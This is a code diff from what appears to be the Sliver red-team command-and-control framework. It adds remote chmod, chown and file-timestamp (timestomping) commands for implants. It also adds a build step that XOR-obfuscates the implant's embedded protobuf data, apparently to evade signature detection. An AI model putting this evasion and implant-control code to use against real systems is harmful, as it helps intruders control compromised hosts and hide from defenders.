0, // 183: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 184: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
126, // 185: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
128, // 187: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
129, // 188: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
130, // 189: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
131, // 190: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 191: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 192: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 193: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 194: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 195: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 196: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
132, // 197: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
133, // 198: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
134, // 199: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
135, // 200: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
136, // 201: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
137, // 202: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
137, // 203: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
138, // 204: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
139, // 205: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
140, // 206: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
141, // 207: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
142, // 208: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
143, // 209: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
|
||||
144, // 210: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
|
||||
145, // 211: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
|
||||
146, // 212: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
147, // 213: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
148, // 214: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
149, // 215: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
150, // 216: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
151, // 217: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
151, // 218: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
151, // 219: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
152, // 220: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
153, // 221: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
154, // 222: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
154, // 223: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
155, // 224: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
156, // 225: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
157, // 226: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
158, // 227: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
159, // 228: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 229: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
160, // 230: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
161, // 231: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
162, // 232: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
162, // 233: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
162, // 234: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
163, // 235: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
164, // 236: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
165, // 237: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
166, // 238: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
167, // 239: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
168, // 240: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
169, // 241: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
170, // 242: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
171, // 243: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
172, // 244: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
173, // 245: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
174, // 246: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
175, // 247: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
176, // 248: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
177, // 249: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
178, // 250: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
177, // 251: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
85, // 252: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 253: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
179, // 254: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
180, // 255: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
181, // 256: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
182, // 257: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
182, // 258: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
183, // 259: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
183, // 260: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
184, // 261: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
185, // 262: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
186, // 263: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
187, // 264: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
98, // 265: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 266: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
99, // 267: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
100, // 268: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 269: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
101, // 270: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 271: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
136, // [136:272] is the sub-list for method output_type
|
||||
0, // [0:136] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -112,6 +112,9 @@ service SliverRPC {
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
rpc Upload(sliverpb.UploadReq) returns (sliverpb.Upload);
|
||||
rpc Chmod(sliverpb.ChmodReq) returns (sliverpb.Chmod);
|
||||
rpc Chown(sliverpb.ChownReq) returns (sliverpb.Chown);
|
||||
rpc Chtimes(sliverpb.ChtimesReq) returns (sliverpb.Chtimes);
|
||||
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
|
||||
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
|
||||
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
|
||||
|
||||
@@ -108,6 +108,9 @@ type SliverRPCClient interface {
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
Upload(ctx context.Context, in *sliverpb.UploadReq, opts ...grpc.CallOption) (*sliverpb.Upload, error)
|
||||
Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error)
|
||||
Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error)
|
||||
Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error)
|
||||
ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error)
|
||||
RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error)
|
||||
Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error)
|
||||
@@ -866,6 +869,33 @@ func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, op
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error) {
|
||||
out := new(sliverpb.Chmod)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chmod", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error) {
|
||||
out := new(sliverpb.Chown)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chown", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error) {
|
||||
out := new(sliverpb.Chtimes)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chtimes", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) {
|
||||
out := new(sliverpb.ProcessDump)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...)
|
||||
@@ -1564,6 +1594,9 @@ type SliverRPCServer interface {
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
Upload(context.Context, *sliverpb.UploadReq) (*sliverpb.Upload, error)
|
||||
Chmod(context.Context, *sliverpb.ChmodReq) (*sliverpb.Chmod, error)
|
||||
Chown(context.Context, *sliverpb.ChownReq) (*sliverpb.Chown, error)
|
||||
Chtimes(context.Context, *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error)
|
||||
ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error)
|
||||
RunAs(context.Context, *sliverpb.RunAsReq) (*sliverpb.RunAs, error)
|
||||
Impersonate(context.Context, *sliverpb.ImpersonateReq) (*sliverpb.Impersonate, error)
|
||||
@@ -1858,6 +1891,15 @@ func (UnimplementedSliverRPCServer) Download(context.Context, *sliverpb.Download
|
||||
func (UnimplementedSliverRPCServer) Upload(context.Context, *sliverpb.UploadReq) (*sliverpb.Upload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Upload not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chmod(context.Context, *sliverpb.ChmodReq) (*sliverpb.Chmod, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chmod not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chown(context.Context, *sliverpb.ChownReq) (*sliverpb.Chown, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chown not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chtimes(context.Context, *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chtimes not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ProcessDump not implemented")
|
||||
}
|
||||
@@ -3368,6 +3410,60 @@ func _SliverRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(in
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chmod_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChmodReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chmod(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chmod",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chmod(ctx, req.(*sliverpb.ChmodReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chown_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChownReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chown(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chown",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chown(ctx, req.(*sliverpb.ChownReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chtimes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChtimesReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chtimes(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chtimes",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chtimes(ctx, req.(*sliverpb.ChtimesReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ProcessDumpReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4762,6 +4858,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Upload",
|
||||
Handler: _SliverRPC_Upload_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chmod",
|
||||
Handler: _SliverRPC_Chmod_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chown",
|
||||
Handler: _SliverRPC_Chown_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chtimes",
|
||||
Handler: _SliverRPC_Chtimes_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ProcessDump",
|
||||
Handler: _SliverRPC_ProcessDump_Handler,
|
||||
|
||||
@@ -298,6 +298,21 @@ const (
|
||||
MsgRportFwdListenersReq
|
||||
|
||||
MsgRPortfwdReq
|
||||
|
||||
// MsgChmodReq - Request to chmod a file
|
||||
MsgChmodReq
|
||||
// MsgChmod - Replies with file path
|
||||
MsgChmod
|
||||
|
||||
// MsgChownReq - Request to chown a file
|
||||
MsgChownReq
|
||||
// MsgChown - Replies with file path
|
||||
MsgChown
|
||||
|
||||
// MsgChtimesReq - Request to chtimes a file
|
||||
MsgChtimesReq
|
||||
// MsgChown - Replies with file path
|
||||
MsgChtimes
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -524,6 +539,20 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgRportFwdListeners
|
||||
case *RPortfwdReq:
|
||||
return MsgRPortfwdReq
|
||||
|
||||
case *ChmodReq:
|
||||
return MsgChmodReq
|
||||
case *Chmod:
|
||||
return MsgChmod
|
||||
case *ChownReq:
|
||||
return MsgChownReq
|
||||
case *Chown:
|
||||
return MsgChown
|
||||
case *ChtimesReq:
|
||||
return MsgChtimesReq
|
||||
case *Chtimes:
|
||||
return MsgChtimes
|
||||
|
||||
}
|
||||
return uint32(0)
|
||||
}
|
||||
+1627
-1099
File diff suppressed because it is too large.
Load diff
@@ -172,6 +172,8 @@ message FileInfo {
|
||||
int64 ModTime = 4;
|
||||
string Mode = 5;
|
||||
string Link = 6;
|
||||
string Uid = 7;
|
||||
string Gid = 8;
|
||||
}
|
||||
|
||||
message CdReq {
|
||||
@@ -1113,4 +1115,46 @@ message RPortfwdReq {
|
||||
|
||||
}
|
||||
|
||||
message ChmodReq {
|
||||
string Path = 1;
|
||||
string FileMode = 2;
|
||||
bool Recursive = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chmod {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ChownReq {
|
||||
string Path = 1;
|
||||
string Uid = 2;
|
||||
string Gid = 3;
|
||||
bool Recursive = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chown {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ChtimesReq {
|
||||
string Path = 1;
|
||||
int64 ATime = 2;
|
||||
int64 MTime = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chtimes {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
@@ -21,8 +21,13 @@ package assets
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"go/ast"
|
||||
"go/parser"
|
||||
"go/printer"
|
||||
"go/token"
|
||||
"io"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
@@ -256,6 +261,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: constants.go")
|
||||
return err
|
||||
}
|
||||
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
@@ -268,6 +274,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: common.pb.go")
|
||||
return err
|
||||
}
|
||||
commonpbSrc = xorPBRawBytes(commonpbSrc)
|
||||
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
|
||||
os.MkdirAll(commonpbDir, 0700)
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
@@ -278,6 +285,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
@@ -306,6 +314,208 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
func xorPBRawBytes(src []byte) []byte {
|
||||
var (
|
||||
fileAst *ast.File
|
||||
err error
|
||||
sliverpbVarName = "file_sliverpb_sliver_proto_rawDesc"
|
||||
sliverPbProtoInitFuncName = "file_sliverpb_sliver_proto_init"
|
||||
fset = token.NewFileSet()
|
||||
parserMode = parser.ParseComments
|
||||
)
|
||||
fileAst, err = parser.ParseFile(fset, "", src, parserMode)
|
||||
if err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
var xorKey [8]byte
|
||||
// generate random xor key
|
||||
if _, err := insecureRand.Read(xorKey[:]); err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
|
||||
ast.Inspect(fileAst, func(n ast.Node) bool {
|
||||
switch node := n.(type) {
|
||||
// Look for the protobuf init function and decode the XORed
|
||||
// data at the top of the function
|
||||
case *ast.FuncDecl:
|
||||
// add an ast.AssignStmt at the top of the function Body
|
||||
// that calls the xor function on the file_sliverpb_sliver_proto_rawDesc object
|
||||
if node.Name.Name == sliverPbProtoInitFuncName {
|
||||
newStmt := &ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
ast.NewIdent(sliverpbVarName),
|
||||
},
|
||||
Tok: token.ASSIGN,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("xor"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent(sliverpbVarName),
|
||||
ast.NewIdent("xorKey"),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
node.Body.List = append([]ast.Stmt{newStmt}, node.Body.List...)
|
||||
}
|
||||
|
||||
// Look for the protobuf rawDesc variable and XOR each byte
|
||||
case *ast.GenDecl:
|
||||
for _, spec := range node.Specs {
|
||||
switch spec := spec.(type) {
|
||||
case *ast.ValueSpec:
|
||||
for _, id := range spec.Names {
|
||||
if id.Name == sliverpbVarName {
|
||||
values := spec.Values[0].(*ast.CompositeLit).Elts
|
||||
// XOR each value of the slice
|
||||
for i, v := range values {
|
||||
elt := v.(*ast.BasicLit)
|
||||
elt.Value = xorByte(elt.Value, xorKey[i%len(xorKey)])
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
default:
|
||||
}
|
||||
}
|
||||
default:
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
// Add the XOR function to the AST
|
||||
fileAst.Decls = append(fileAst.Decls, ast.Decl(&ast.FuncDecl{
|
||||
Name: ast.NewIdent("xor"),
|
||||
Type: &ast.FuncType{
|
||||
Params: &ast.FieldList{
|
||||
List: []*ast.Field{
|
||||
{
|
||||
Names: []*ast.Ident{ast.NewIdent("input")},
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
{
|
||||
Names: []*ast.Ident{ast.NewIdent("key")},
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
},
|
||||
},
|
||||
Results: &ast.FieldList{
|
||||
List: []*ast.Field{
|
||||
{
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
Body: &ast.BlockStmt{
|
||||
List: []ast.Stmt{
|
||||
&ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
ast.NewIdent("out"),
|
||||
},
|
||||
Tok: token.DEFINE,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("make"),
|
||||
Args: []ast.Expr{
|
||||
&ast.ArrayType{
|
||||
Elt: ast.NewIdent("byte"),
|
||||
},
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("len"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent("input"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
&ast.RangeStmt{
|
||||
Key: ast.NewIdent("i"),
|
||||
Value: ast.NewIdent("_"),
|
||||
Tok: token.DEFINE,
|
||||
X: ast.NewIdent("input"),
|
||||
Body: &ast.BlockStmt{
|
||||
List: []ast.Stmt{
|
||||
&ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
&ast.IndexExpr{
|
||||
X: ast.NewIdent("out"),
|
||||
Index: ast.NewIdent("i"),
|
||||
},
|
||||
},
|
||||
Tok: token.ASSIGN,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.BinaryExpr{
|
||||
X: &ast.IndexExpr{
|
||||
X: ast.NewIdent("input"),
|
||||
Index: ast.NewIdent("i"),
|
||||
},
|
||||
Op: token.XOR,
|
||||
Y: &ast.IndexExpr{
|
||||
X: ast.NewIdent("key"),
|
||||
Index: &ast.BinaryExpr{
|
||||
X: &ast.Ident{
|
||||
Name: "i",
|
||||
},
|
||||
Op: token.REM,
|
||||
Y: &ast.CallExpr{
|
||||
Fun: ast.NewIdent("len"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent("key"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
&ast.ReturnStmt{
|
||||
Results: []ast.Expr{
|
||||
ast.NewIdent("out"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}))
|
||||
|
||||
xorTokens := make([]ast.Expr, len(xorKey))
|
||||
// map xorKey to a slice of ast.BasicLit
|
||||
for i, b := range xorKey {
|
||||
xorTokens[i] = &ast.BasicLit{
|
||||
Kind: token.INT,
|
||||
Value: fmt.Sprintf("0x%x", b),
|
||||
}
|
||||
}
|
||||
|
||||
// add the global xorKey variable to the AST
|
||||
fileAst.Decls = append(fileAst.Decls, ast.Decl(&ast.GenDecl{
|
||||
Tok: token.VAR,
|
||||
Specs: []ast.Spec{
|
||||
&ast.ValueSpec{
|
||||
Names: []*ast.Ident{ast.NewIdent("xorKey")},
|
||||
Values: []ast.Expr{
|
||||
&ast.CompositeLit{
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
Elts: xorTokens,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}))
|
||||
|
||||
outBuff := bytes.Buffer{}
|
||||
// Render the AST as Go code
|
||||
printer.Fprint(&outBuff, fset, fileAst)
|
||||
return outBuff.Bytes()
|
||||
}
|
||||
|
||||
func setupCodenames(appDir string) error {
|
||||
nouns, err := assetsFs.ReadFile("fs/nouns.txt")
|
||||
if err != nil {
|
||||
@@ -426,3 +636,18 @@ func pseudoRandStringRunes(n int) string {
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func xorByte(raw string, key byte) string {
|
||||
// strip 0x
|
||||
raw = raw[2:]
|
||||
if len(raw) == 1 {
|
||||
// Because we got `0x8` at some point
|
||||
raw = fmt.Sprintf("0%s", raw)
|
||||
}
|
||||
hexByte, err := hex.DecodeString(raw)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
newByte := hex.EncodeToString([]byte{hexByte[0] ^ key})
|
||||
return fmt.Sprintf("0x%s", newByte)
|
||||
}
|
||||
+2
-1
@@ -108,7 +108,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
<-job.JobCtrl
|
||||
jobLog.Infof("Stopping wg listener (%d) ...", job.ID)
|
||||
ticker.Stop()
|
||||
done <- true
|
||||
|
||||
